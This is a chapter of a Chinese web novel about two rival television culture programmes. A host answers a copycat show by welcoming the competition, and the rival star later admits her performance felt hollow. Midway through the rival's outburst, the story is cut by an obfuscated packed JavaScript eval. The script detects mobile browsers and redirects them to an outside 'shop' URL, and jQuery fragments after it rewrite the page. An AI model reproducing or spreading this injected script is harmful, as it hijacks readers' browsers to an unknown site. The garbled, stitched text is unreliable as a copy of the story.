《历史的温度》许昕代班期播出三天后，收视报告摆在所有平台高管的桌上。


    2.3。


    不仅是同时间段第一，还是全年文化类节目最高纪录。


    社交媒体上，#许昕讲宋代风骨#的话题阅读量突破十亿，她的那段“把苦嚼碎了开花”的独白被剪辑成短视频，转发超百万。


    教育部发文，拟将该期节目收录进中学语文辅助教材。


    许昕的微博粉丝一夜暴涨三百万。


    而就在第四天，林薇薇工作室发布了新节目预告。


    《文明的刻度》。


    海报设计、字体风格、甚至宣传语——


    “让历史有温度，让文明可触摸”，都与《历史的温度》高度相似。


    但阵容豪华得多：林薇薇担任主持人，邀请了三位顶流明星做常驻嘉宾，每期还有不同的“文化推荐官”——


    全是当红艺人。


    制作预算据传是《温度》的三倍。


    营销阵势更是铺天盖地：


    地铁广告、机场大屏、开屏广告、热搜预定……开播前一周，相关话题已经霸占热搜榜前五。


    节目组会议室里，气氛凝重。


    “这是赤裸裸的抄袭！”


    剪辑师小王拍桌子，“连选题都撞——他们第一季做‘丝绸之路’，我们第二季敦煌篇刚播完！”


    “但法律上构不成抄袭。”


    法务总监推了推眼镜，“文化选题是公共资源，节目模式也没有专利保护。他们只是……借鉴。”


    “借鉴？”


    老陈冷笑，“借鉴到连镜头语言都模仿？”


    他调出《文明的刻度》预告片，和《温度》的片段并列播放。


    同样的慢镜头推进，同样的特写文物细节，同样的主讲人站在遗址前回望的构图。


    “这已经不是借鉴，是复制。”许昕轻声说。


    所有人都看向沈小鱼。


    她一直沉默，看着屏幕上两个并排的画面。


    阳光从窗户斜射进来，在她脸上投下明暗分界线。


    “小鱼，你得说句话。”


    老陈急了，“现在媒体都在比较两个节目，#林薇薇学沈小鱼#已经上热搜第三了。我们要不要发个声明？或者……”


    “或者什么？”


    沈小鱼终于开口，“告她？骂她？还是跟她打舆论战？”


    她站起来，走到窗前：


    “你们觉得，林薇薇为什么要做这个节目？”


    “当然是为了流量！”


    小王说，“看我们火了，就想复制成功！”


    “对，也不对。”


    沈小鱼转身，“她是为了证明——她也能做‘有文化’的节目。或者说，她想告诉市场：沈小鱼能做的，我林薇薇也能做，而且能做得更豪华，更有流量。”


    她顿了顿：


    “那我们就让她做。”


    “什么？”所有人愣住。


    “文化传播不是赛道，是星空。”


    沈小鱼说，声音很平静，“星星越多，夜空越亮。她愿意加入，是好事。”


    “可是她这明显是恶性竞争！会用流量挤压我们的空间！”老陈急了。


    “那就看观众选谁。”


    沈小鱼看向许昕，“你怕吗？”


    许昕摇头：“不怕。”


    “为什么？”


    “因为真的东西，假不了。假的东西，也真不了。”


    许昕说，“我们讲敦煌，是在洞窟里站了十个小时冻出来的理解。他们……是布景板前背稿子。”


    沈小鱼笑了。


    “那就这么回应媒体。”


    她对宣传总监说，“就说——欢迎更多同行加入文化传播的行列。历史属于所有人，文明需要更多人守护。”


    “就这么……简单？”宣传总监不敢相信。


    “就这么简单。”


    沈小鱼说，“格局高一点。我们不是要跟谁打架，是要把事情做好。”


    回应发出后，舆论哗然。


    “沈小鱼这格局……我服了。”


    “这才是文化自信吧？不怕竞争，欢迎竞争”


    “但林薇薇那边明显来者不善啊……”


    “坐等好戏”


    林薇薇团队显然没料到这个回应。


    按照行业惯例，这时候应该互撕、买黑料、打口水战。


    但沈小鱼不接招，反而“欢迎”，这让他们的很多预案都失效了。


    《文明的刻度》开播当天，收视率1.8。


    不错，但没到预期——毕竟营销投入那么大。


    而《历史的温度》同一时间重播许昕那期，收视1.5。


    只差0.3。


    更关键的是口碑。


    《文明的刻度》弹幕和评论区：


    “场景好华丽！薇薇美炸了！”


    “嘉宾阵容太强了吧”


    “但感觉……有点浅？就是背稿子的感觉”


    “对比许昕那期，差了点灵魂”


    《历史的温度》重播评论区：


    “第二遍看还是哭”


    “许昕讲‘把苦嚼碎了开花’那里，我鸡皮疙瘩起来了”


    “这才是真正的文化节目”


    林薇薇在后台化妆间摔了杯子。


    “灵魂？他们懂什么叫灵魂？！”


    她对着经纪人发火，“我请了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100273|193092||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    最好的编剧，最好的学术顾问，每期预算比他们高两倍！凭什么说我没灵魂？！”


    经纪人沉默。


    过了很久，才说：“薇薇，有些东西……不是钱能买的。”


    “那是什么？”


    “是时间。”


    经纪人说，“沈小鱼在敦煌洞里冻了十个小时，许昕读了八十七本书，去了三个遗址。而我们……只有三天背稿时间。”


    林薇薇愣住。


    她想起自己录制时，虽然笑容完美，台词流畅，但心里是空的。


    那些历史人物对她来说只是名字，那些事件只是年份。


    她没有像许昕那样，在黄州赤壁站三个小时，感受苏轼的绝望与豁达。


    她只是……表演。


    表演一个“有文化”的主持人。


    “那怎么办？”她声音低下来。


    经纪人叹了口气：“要么继续拼流量，用营销砸出声量。要么……真的沉下去，像她们那样做。”


    林薇薇没说话。


    她走到窗边，看着楼下车水马龙。


    入行十年，她一直是那个最会“演”的人——演清纯，演御姐，演职场精英。现在，要演文化人。


    但这次，观众好像不买账了。


    因为有人拿出了真的东西。


    真的，永远比假的，有力量。


    那天晚上，沈小鱼接到一个陌生电话。


    是林薇薇。


    “沈小鱼，”对方声音很疲惫，“你赢了。”


    “我没跟你比赛。”沈小鱼说。


    “但市场在比。”


    林薇薇苦笑，“第一期口碑……你看到了。”


    沉默。


    “我想问你一个问题。”


    林薇薇说，“你怎么做到的？那种……让人相信的力量。”


    沈小鱼想了想：


    “因为我不是在‘讲’历史，是在‘活’历史。那些人物对我来说不是素材，是前辈。我在敦煌洞里站十个小时，不是在吃苦，是在上课——上那些无名画匠给我上的课。”


    她顿了顿：


    “林薇薇，文化不是用来表演的，是用来经历的。你经历多少，观众就感受到多少。”


    电话那头长久沉默。


    然后林薇薇说：“谢谢。”


    挂断了。


    沈小鱼放下手机，看向电脑屏幕。


    上面是《文明的刻度》和《历史的温度》的收视对比曲线。


    两条线，一高一低，但差距不大。


    竞争才刚刚开始。


    但至少现在，她知道了——


    真的东西，不用怕假。


    因为时间，会给出答案。